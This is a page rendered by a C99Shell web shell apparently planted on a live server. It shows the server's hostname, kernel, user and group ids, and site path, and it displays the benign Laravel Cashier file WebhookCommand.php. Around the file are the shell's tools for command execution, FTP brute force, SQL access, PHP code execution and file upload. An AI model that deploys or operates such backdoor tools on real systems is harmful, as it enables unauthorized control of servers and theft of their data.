!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/cashier/src/Console/   drwxr-xr-x
Free 28.72 GB of 117.98 GB (24.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WebhookCommand.php (1.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Cashier\Console;

use 
Illuminate\Console\Command;
use 
Laravel\Cashier\Cashier;

class 
WebhookCommand extends Command
{
    
/**
     * The name and signature of the console command.
     *
     * @var string
     */
    
protected $signature 'cashier:webhook
            {--disabled : Immediately disable the webhook after creation}
            {--url= : The URL endpoint for the webhook}
            {--api-version= : The Stripe API version the webhook should use}'
;

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Create the Stripe webhook to interact with Cashier.';

    
/**
     * Execute the console command.
     *
     * @return void
     */
    
public function handle()
    {
        
$webhookEndpoints Cashier::stripe()->webhookEndpoints;

        
$endpoint $webhookEndpoints->create([
            
'enabled_events' => [
                
'customer.subscription.created',
                
'customer.subscription.updated',
                
'customer.subscription.deleted',
                
'customer.updated',
                
'customer.deleted',
                
'invoice.payment_action_required',
                
'invoice.payment_succeeded',
            ],
            
'url' => $this->option('url') ?? route('cashier.webhook'),
            
'api_version' => $this->option('api-version') ?? Cashier::STRIPE_VERSION,
        ]);

        
$this->info('The Stripe webhook was created successfully. Retrieve the webhook secret in your Stripe dashboard and define it as an environment variable.');

        if (
$this->option('disabled')) {
            
$webhookEndpoints->update($endpoint->id, ['disabled' => true]);

            
$this->info('The Stripe webhook was disabled as requested. You may enable the webhook via the Stripe dashboard when needed.');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--